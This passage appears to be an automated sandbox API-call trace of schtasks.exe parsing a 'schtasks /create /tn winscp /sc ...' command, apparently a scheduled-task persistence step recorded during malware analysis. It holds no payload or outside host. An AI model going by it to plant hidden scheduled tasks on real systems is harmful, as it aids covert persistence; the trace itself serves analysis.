puLen=0x1bc618 | out: lplpBuffer=0x1bc628*=0x2ce038, puLen=0x1bc618) returned 1 [0079.520] lstrlenW (lpString="schtasks.exe") returned 12 [0079.520] lstrlenW (lpString="schtasks.exe") returned 12 [0079.520] lstrlenW (lpString=".EXE") returned 4 [0079.520] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0079.520] lstrlenW (lpString="schtasks.exe") returned 12 [0079.520] lstrlenW (lpString=".EXE") returned 4 [0079.520] lstrlenW (lpString="schtasks") returned 8 [0079.520] lstrlenW (lpString="/create") returned 7 [0079.520] _memicmp (_Buf1=0x2cbbb0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.520] _vsnwprintf (in: _Buffer=0x2cbd50, _BufferCount=0x19, _Format="%s %s", _ArgList=0x1bc598 | out: _Buffer="schtasks /create") returned 16 [0079.520] _memicmp (_Buf1=0x2cbbd0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.520] GetProcessHeap () returned 0x2b0000 [0079.520] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x20) returned 0x2ccea0 [0079.520] _memicmp (_Buf1=0x2cbbf0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.520] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x2cd400, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0079.520] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0079.520] GetProcessHeap () returned 0x2b0000 [0079.520] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x30) returned 0x2c7c00 [0079.520] _vsnwprintf (in: _Buffer=0x2cc150, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x1bc598 | out: _Buffer="Type \"SCHTASKS /CREATE /?\" for usage.") returned 37 [0079.520] GetProcessHeap () returned 0x2b0000 [0079.520] GetProcessHeap () returned 0x2b0000 [0079.520] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cde70) returned 1 [0079.520] GetProcessHeap () returned 0x2b0000 [0079.520] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2cde70) returned 0x74e [0079.521] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cde70 | out: hHeap=0x2b0000) returned 1 [0079.521] SetLastError (dwErrCode=0x0) [0079.521] GetThreadLocale () returned 0x409 [0079.521] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0079.521] lstrlenW (lpString="create") returned 6 [0079.521] GetThreadLocale () returned 0x409 [0079.521] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0079.521] lstrlenW (lpString="?") returned 1 [0079.521] GetThreadLocale () returned 0x409 [0079.521] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0079.521] lstrlenW (lpString="s") returned 1 [0079.521] GetThreadLocale () returned 0x409 [0079.521] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0079.521] lstrlenW (lpString="u") returned 1 [0079.522] GetThreadLocale () returned 0x409 [0079.522] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0079.522] lstrlenW (lpString="p") returned 1 [0079.522] GetThreadLocale () returned 0x409 [0079.522] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0079.522] lstrlenW (lpString="ru") returned 2 [0079.522] GetThreadLocale () returned 0x409 [0079.522] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0079.522] lstrlenW (lpString="rp") returned 2 [0079.522] GetThreadLocale () returned 0x409 [0079.522] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0079.522] lstrlenW (lpString="sc") returned 2 [0079.522] GetThreadLocale () returned 0x409 [0079.522] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0079.522] lstrlenW (lpString="mo") returned 2 [0079.522] GetThreadLocale () returned 0x409 [0079.522] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0079.522] lstrlenW (lpString="d") returned 1 [0079.523] GetThreadLocale () returned 0x409 [0079.523] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0079.523] lstrlenW (lpString="m") returned 1 [0079.523] GetThreadLocale () returned 0x409 [0079.523] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0079.523] lstrlenW (lpString="i") returned 1 [0079.523] GetThreadLocale () returned 0x409 [0079.523] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0079.523] lstrlenW (lpString="tn") returned 2 [0079.523] GetThreadLocale () returned 0x409 [0079.523] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0079.523] lstrlenW (lpString="tr") returned 2 [0079.523] GetThreadLocale () returned 0x409 [0079.523] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0079.523] lstrlenW (lpString="st") returned 2 [0079.523] GetThreadLocale () returned 0x409 [0079.523] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0079.524] lstrlenW (lpString="sd") returned 2 [0079.524] GetThreadLocale () returned 0x409 [0079.524] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0079.524] lstrlenW (lpString="ed") returned 2 [0079.524] GetThreadLocale () returned 0x409 [0079.524] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0079.524] lstrlenW (lpString="it") returned 2 [0079.524] GetThreadLocale () returned 0x409 [0079.524] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0079.524] lstrlenW (lpString="et") returned 2 [0079.524] GetThreadLocale () returned 0x409 [0079.524] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0079.524] lstrlenW (lpString="k") returned 1 [0079.524] GetThreadLocale () returned 0x409 [0079.524] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0079.524] lstrlenW (lpString="du") returned 2 [0079.524] GetThreadLocale () returned 0x409 [0079.524] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0079.524] lstrlenW (lpString="ri") returned 2 [0079.524] GetThreadLocale () returned 0x409 [0079.524] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0079.524] lstrlenW (lpString="z") returned 1 [0079.524] GetThreadLocale () returned 0x409 [0079.524] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0079.524] lstrlenW (lpString="f") returned 1 [0079.524] GetThreadLocale () returned 0x409 [0079.524] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0079.524] lstrlenW (lpString="v1") returned 2 [0079.524] GetThreadLocale () returned 0x409 [0079.524] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0079.524] lstrlenW (lpString="xml") returned 3 [0079.524] GetThreadLocale () returned 0x409 [0079.524] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0079.524] lstrlenW (lpString="ec") returned 2 [0079.525] GetThreadLocale () returned 0x409 [0079.525] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0079.525] lstrlenW (lpString="rl") returned 2 [0079.525] GetThreadLocale () returned 0x409 [0079.525] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0079.525] lstrlenW (lpString="delay") returned 5 [0079.525] GetThreadLocale () returned 0x409 [0079.525] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0079.525] lstrlenW (lpString="np") returned 2 [0079.525] SetLastError (dwErrCode=0x0) [0079.525] SetLastError (dwErrCode=0x0) [0079.525] lstrlenW (lpString="/create") returned 7 [0079.525] lstrlenW (lpString="-/") returned 2 [0079.525] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0079.525] lstrlenW (lpString="create") returned 6 [0079.525] lstrlenW (lpString="create") returned 6 [0079.525] _memicmp (_Buf1=0x2cc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.525] lstrlenW (lpString="create") returned 6 [0079.525] _memicmp (_Buf1=0x2cc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.525] _vsnwprintf (in: _Buffer=0x2cc380, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1bc5a8 | out: _Buffer="|create|") returned 8 [0079.525] _vsnwprintf (in: _Buffer=0x2cc360, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1bc5a8 | out: _Buffer="|create|") returned 8 [0079.525] lstrlenW (lpString="|create|") returned 8 [0079.525] lstrlenW (lpString="|create|") returned 8 [0079.525] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0079.525] SetLastError (dwErrCode=0x0) [0079.525] SetLastError (dwErrCode=0x0) [0079.525] SetLastError (dwErrCode=0x0) [0079.525] lstrlenW (lpString="/tn") returned 3 [0079.525] lstrlenW (lpString="-/") returned 2 [0079.525] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0079.525] lstrlenW (lpString="create") returned 6 [0079.525] lstrlenW (lpString="create") returned 6 [0079.526] _memicmp (_Buf1=0x2cc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.526] lstrlenW (lpString="tn") returned 2 [0079.526] _memicmp (_Buf1=0x2cc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.526] _vsnwprintf (in: _Buffer=0x2cc380, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1bc5a8 | out: _Buffer="|create|") returned 8 [0079.526] _vsnwprintf (in: _Buffer=0x2cc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc5a8 | out: _Buffer="|tn|") returned 4 [0079.526] lstrlenW (lpString="|create|") returned 8 [0079.526] lstrlenW (lpString="|tn|") returned 4 [0079.526] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0079.526] SetLastError (dwErrCode=0x490) [0079.526] lstrlenW (lpString="?") returned 1 [0079.526] lstrlenW (lpString="?") returned 1 [0079.526] _memicmp (_Buf1=0x2cc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.526] lstrlenW (lpString="tn") returned 2 [0079.526] _memicmp (_Buf1=0x2cc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.526] _vsnwprintf (in: _Buffer=0x2cc380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc5a8 | out: _Buffer="|?|") returned 3 [0079.526] _vsnwprintf (in: _Buffer=0x2cc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc5a8 | out: _Buffer="|tn|") returned 4 [0079.526] lstrlenW (lpString="|?|") returned 3 [0079.526] lstrlenW (lpString="|tn|") returned 4 [0079.526] SetLastError (dwErrCode=0x490) [0079.526] lstrlenW (lpString="s") returned 1 [0079.526] lstrlenW (lpString="s") returned 1 [0079.526] _memicmp (_Buf1=0x2cc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.526] lstrlenW (lpString="tn") returned 2 [0079.526] _memicmp (_Buf1=0x2cc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.526] _vsnwprintf (in: _Buffer=0x2cc380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc5a8 | out: _Buffer="|s|") returned 3 [0079.526] _vsnwprintf (in: _Buffer=0x2cc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc5a8 | out: _Buffer="|tn|") returned 4 [0079.526] lstrlenW (lpString="|s|") returned 3 [0079.526] lstrlenW (lpString="|tn|") returned 4 [0079.526] SetLastError (dwErrCode=0x490) [0079.527] lstrlenW (lpString="u") returned 1 [0079.527] lstrlenW (lpString="u") returned 1 [0079.527] _memicmp (_Buf1=0x2cc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.527] lstrlenW (lpString="tn") returned 2 [0079.527] _memicmp (_Buf1=0x2cc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.527] _vsnwprintf (in: _Buffer=0x2cc380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc5a8 | out: _Buffer="|u|") returned 3 [0079.527] _vsnwprintf (in: _Buffer=0x2cc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc5a8 | out: _Buffer="|tn|") returned 4 [0079.527] lstrlenW (lpString="|u|") returned 3 [0079.527] lstrlenW (lpString="|tn|") returned 4 [0079.527] SetLastError (dwErrCode=0x490) [0079.527] lstrlenW (lpString="p") returned 1 [0079.527] lstrlenW (lpString="p") returned 1 [0079.527] _memicmp (_Buf1=0x2cc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.527] lstrlenW (lpString="tn") returned 2 [0079.527] _memicmp (_Buf1=0x2cc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.527] _vsnwprintf (in: _Buffer=0x2cc380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc5a8 | out: _Buffer="|p|") returned 3 [0079.527] _vsnwprintf (in: _Buffer=0x2cc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc5a8 | out: _Buffer="|tn|") returned 4 [0079.527] lstrlenW (lpString="|p|") returned 3 [0079.527] lstrlenW (lpString="|tn|") returned 4 [0079.527] SetLastError (dwErrCode=0x490) [0079.527] lstrlenW (lpString="ru") returned 2 [0079.527] lstrlenW (lpString="ru") returned 2 [0079.527] _memicmp (_Buf1=0x2cc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.527] lstrlenW (lpString="tn") returned 2 [0079.527] _memicmp (_Buf1=0x2cc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.527] _vsnwprintf (in: _Buffer=0x2cc380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc5a8 | out: _Buffer="|ru|") returned 4 [0079.527] _vsnwprintf (in: _Buffer=0x2cc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc5a8 | out: _Buffer="|tn|") returned 4 [0079.527] lstrlenW (lpString="|ru|") returned 4 [0079.527] lstrlenW (lpString="|tn|") returned 4 [0079.528] StrStrIW (lpFirst="|ru|", lpSrch="|tn|") returned 0x0 [0079.528] SetLastError (dwErrCode=0x490) [0079.528] lstrlenW (lpString="rp") returned 2 [0079.528] lstrlenW (lpString="rp") returned 2 [0079.528] _memicmp (_Buf1=0x2cc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.528] lstrlenW (lpString="tn") returned 2 [0079.528] _memicmp (_Buf1=0x2cc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.528] _vsnwprintf (in: _Buffer=0x2cc380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc5a8 | out: _Buffer="|rp|") returned 4 [0079.528] _vsnwprintf (in: _Buffer=0x2cc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc5a8 | out: _Buffer="|tn|") returned 4 [0079.528] lstrlenW (lpString="|rp|") returned 4 [0079.528] lstrlenW (lpString="|tn|") returned 4 [0079.528] StrStrIW (lpFirst="|rp|", lpSrch="|tn|") returned 0x0 [0079.528] SetLastError (dwErrCode=0x490) [0079.528] lstrlenW (lpString="sc") returned 2 [0079.528] lstrlenW (lpString="sc") returned 2 [0079.528] _memicmp (_Buf1=0x2cc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.528] lstrlenW (lpString="tn") returned 2 [0079.528] _memicmp (_Buf1=0x2cc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.528] _vsnwprintf (in: _Buffer=0x2cc380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc5a8 | out: _Buffer="|sc|") returned 4 [0079.528] _vsnwprintf (in: _Buffer=0x2cc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc5a8 | out: _Buffer="|tn|") returned 4 [0079.528] lstrlenW (lpString="|sc|") returned 4 [0079.528] lstrlenW (lpString="|tn|") returned 4 [0079.528] StrStrIW (lpFirst="|sc|", lpSrch="|tn|") returned 0x0 [0079.528] SetLastError (dwErrCode=0x490) [0079.529] lstrlenW (lpString="mo") returned 2 [0079.529] lstrlenW (lpString="mo") returned 2 [0079.529] _memicmp (_Buf1=0x2cc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.529] lstrlenW (lpString="tn") returned 2 [0079.529] _memicmp (_Buf1=0x2cc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.529] _vsnwprintf (in: _Buffer=0x2cc380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc5a8 | out: _Buffer="|mo|") returned 4 [0079.529] _vsnwprintf (in: _Buffer=0x2cc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc5a8 | out: _Buffer="|tn|") returned 4 [0079.529] lstrlenW (lpString="|mo|") returned 4 [0079.529] lstrlenW (lpString="|tn|") returned 4 [0079.529] StrStrIW (lpFirst="|mo|", lpSrch="|tn|") returned 0x0 [0079.529] SetLastError (dwErrCode=0x490) [0079.529] lstrlenW (lpString="d") returned 1 [0079.529] lstrlenW (lpString="d") returned 1 [0079.529] _memicmp (_Buf1=0x2cc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.529] lstrlenW (lpString="tn") returned 2 [0079.529] _memicmp (_Buf1=0x2cc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.529] _vsnwprintf (in: _Buffer=0x2cc380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc5a8 | out: _Buffer="|d|") returned 3 [0079.529] _vsnwprintf (in: _Buffer=0x2cc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc5a8 | out: _Buffer="|tn|") returned 4 [0079.529] lstrlenW (lpString="|d|") returned 3 [0079.529] lstrlenW (lpString="|tn|") returned 4 [0079.529] SetLastError (dwErrCode=0x490) [0079.529] lstrlenW (lpString="m") returned 1 [0079.529] lstrlenW (lpString="m") returned 1 [0079.529] _memicmp (_Buf1=0x2cc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.529] lstrlenW (lpString="tn") returned 2 [0079.529] _memicmp (_Buf1=0x2cc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.529] _vsnwprintf (in: _Buffer=0x2cc380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc5a8 | out: _Buffer="|m|") returned 3 [0079.529] _vsnwprintf (in: _Buffer=0x2cc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc5a8 | out: _Buffer="|tn|") returned 4 [0079.530] lstrlenW (lpString="|m|") returned 3 [0079.530] lstrlenW (lpString="|tn|") returned 4 [0079.530] SetLastError (dwErrCode=0x490) [0079.530] lstrlenW (lpString="i") returned 1 [0079.530] lstrlenW (lpString="i") returned 1 [0079.530] _memicmp (_Buf1=0x2cc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.530] lstrlenW (lpString="tn") returned 2 [0079.530] _memicmp (_Buf1=0x2cc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.530] _vsnwprintf (in: _Buffer=0x2cc380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc5a8 | out: _Buffer="|i|") returned 3 [0079.530] _vsnwprintf (in: _Buffer=0x2cc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc5a8 | out: _Buffer="|tn|") returned 4 [0079.530] lstrlenW (lpString="|i|") returned 3 [0079.530] lstrlenW (lpString="|tn|") returned 4 [0079.530] SetLastError (dwErrCode=0x490) [0079.530] lstrlenW (lpString="tn") returned 2 [0079.530] lstrlenW (lpString="tn") returned 2 [0079.530] _memicmp (_Buf1=0x2cc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.530] lstrlenW (lpString="tn") returned 2 [0079.530] _memicmp (_Buf1=0x2cc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.530] _vsnwprintf (in: _Buffer=0x2cc380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc5a8 | out: _Buffer="|tn|") returned 4 [0079.530] _vsnwprintf (in: _Buffer=0x2cc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc5a8 | out: _Buffer="|tn|") returned 4 [0079.530] lstrlenW (lpString="|tn|") returned 4 [0079.530] lstrlenW (lpString="|tn|") returned 4 [0079.530] StrStrIW (lpFirst="|tn|", lpSrch="|tn|") returned="|tn|" [0079.530] SetLastError (dwErrCode=0x0) [0079.530] SetLastError (dwErrCode=0x0) [0079.530] lstrlenW (lpString="winscp") returned 6 [0079.530] lstrlenW (lpString="-/") returned 2 [0079.530] StrChrIW (lpStart="-/", wMatch=0x77) returned 0x0 [0079.530] SetLastError (dwErrCode=0x490) [0079.530] SetLastError (dwErrCode=0x490) [0079.530] SetLastError (dwErrCode=0x0) [0079.531] lstrlenW (lpString="winscp") returned 6 [0079.531] StrChrIW (lpStart="winscp", wMatch=0x3a) returned 0x0 [0079.531] SetLastError (dwErrCode=0x490) [0079.531] SetLastError (dwErrCode=0x0) [0079.531] lstrlenW (lpString="winscp") returned 6 [0079.531] SetLastError (dwErrCode=0x0) [0079.531] SetLastError (dwErrCode=0x0) [0079.531] lstrlenW (lpString="/sc") returned 3 [0079.531] lstrlenW (lpString="-/") returned 2 [0079.531] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0079.531] lstrlenW (lpString="create") returned 6 [0079.531] lstrlenW (lpString="create") returned 6 [0079.531] _memicmp (_Buf1=0x2cc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.531] lstrlenW (lpString="sc") returned 2 [0079.531] _memicmp (_Buf1=0x2cc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.531] _vsnwprintf (in: _Buffer=0x2cc380, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1bc5a8 | out: _Buffer="|create|") returned 8 [0079.531] _vsnwprintf (in: _Buffer=0x2cc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc5a8 | out: _Buffer="|sc|") returned 4 [0079.531] lstrlenW (lpString="|create|") returned 8 [0079.531] lstrlenW (lpString="|sc|") returned 4 [0079.531] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0079.531] SetLastError (dwErrCode=0x490) [0079.531] lstrlenW (lpString="?") returned 1 [0079.531] lstrlenW (lpString="?") returned 1 [0079.531] _memicmp (_Buf1=0x2cc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.531] lstrlenW (lpString="sc") returned 2 [0079.531] _memicmp (_Buf1=0x2cc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.531] _vsnwprintf (in: _Buffer=0x2cc380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc5a8 | out: _Buffer="|?|") returned 3 [0079.531] _vsnwprintf (in: _Buffer=0x2cc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc5a8 | out: _Buffer="|sc|") returned 4 [0079.531] lstrlenW (lpString="|?|") returned 3 [0079.531] lstrlenW (lpString="|sc|") returned 4 [0079.531] SetLastError (dwErrCode=0x490) [0079.532] lstrlenW (lpString="s") returned 1 [0079.532] lstrlenW (lpString="s") returned 1 [0079.532] _memicmp (_Buf1=0x2cc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.532] lstrlenW (lpString="sc") returned 2 [0079.532] _memicmp (_Buf1=0x2cc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.532] _vsnwprintf (in: _Buffer=0x2cc380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc5a8 | out: _Buffer="|s|") returned 3 [0079.532] _vsnwprintf (in: _Buffer=0x2cc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc5a8 | out: _Buffer="|sc|") returned 4 [0079.532] lstrlenW (lpString="|s|") returned 3 [0079.532] lstrlenW (lpString="|sc|") returned 4 [0079.532] SetLastError (dwErrCode=0x490) [0079.532] lstrlenW (lpString="u") returned 1 [0079.532] lstrlenW (lpString="u") returned 1 [0079.532] _memicmp (_Buf1=0x2cc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.532] lstrlenW (lpString="sc") returned 2 [0079.532] _memicmp (_Buf1=0x2cc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.532] _vsnwprintf (in: _Buffer=0x2cc380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc5a8 | out: _Buffer="|u|") returned 3 [0079.532] _vsnwprintf (in: _Buffer=0x2cc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc5a8 | out: _Buffer="|sc|") returned 4 [0079.532] lstrlenW (lpString="|u|") returned 3 [0079.532] lstrlenW (lpString="|sc|") returned 4 [0079.532] SetLastError (dwErrCode=0x490) [0079.532] lstrlenW (lpString="p") returned 1 [0079.532] lstrlenW (lpString="p") returned 1 [0079.532] _memicmp (_Buf1=0x2cc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.532] lstrlenW (lpString="sc") returned 2 [0079.532] _memicmp (_Buf1=0x2cc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.532] _vsnwprintf (in: _Buffer=0x2cc380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc5a8 | out: _Buffer="|p|") returned 3 [0079.532] _vsnwprintf (in: _Buffer=0x2cc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc5a8 | out: _Buffer="|sc|") returned 4 [0079.532] lstrlenW (lpString="|p|") returned 3 [0079.532] lstrlenW (lpString="|sc|") returned 4 [0079.532] SetLastError (dwErrCode=0x490) [0079.532] lstrlenW (lpString="ru") returned 2 [0079.533] lstrlenW (lpString="ru") returned 2 [0079.533] _memicmp (_Buf1=0x2cc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.533] lstrlenW (lpString="sc") returned 2 [0079.533] _memicmp (_Buf1=0x2cc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.533] _vsnwprintf (in: _Buffer=0x2cc380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc5a8 | out: _Buffer="|ru|") returned 4 [0079.533] _vsnwprintf (in: _Buffer=0x2cc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc5a8 | out: _Buffer="|sc|") returned 4 [0079.533] lstrlenW (lpString="|ru|") returned 4 [0079.533] lstrlenW (lpString="|sc|") returned 4 [0079.533] StrStrIW (lpFirst="|ru|", lpSrch="|sc|") returned 0x0 [0079.533] SetLastError (dwErrCode=0x490) [0079.533] lstrlenW (lpString="rp") returned 2 [0079.533] lstrlenW (lpString="rp") returned 2 [0079.533] _memicmp (_Buf1=0x2cc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.533] lstrlenW (lpString="sc") returned 2 [0079.533] _memicmp (_Buf1=0x2cc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.533] _vsnwprintf (in: _Buffer=0x2cc380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc5a8 | out: _Buffer="|rp|") returned 4 [0079.533] _vsnwprintf (in: _Buffer=0x2cc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc5a8 | out: _Buffer="|sc|") returned 4 [0079.533] lstrlenW (lpString="|rp|") returned 4 [0079.533] lstrlenW (lpString="|sc|") returned 4 [0079.533] StrStrIW (lpFirst="|rp|", lpSrch="|sc|") returned 0x0 [0079.533] SetLastError (dwErrCode=0x490) [0079.533] lstrlenW (lpString="sc") returned 2 [0079.533] lstrlenW (lpString="sc") returned 2 [0079.533] _memicmp (_Buf1=0x2cc200, 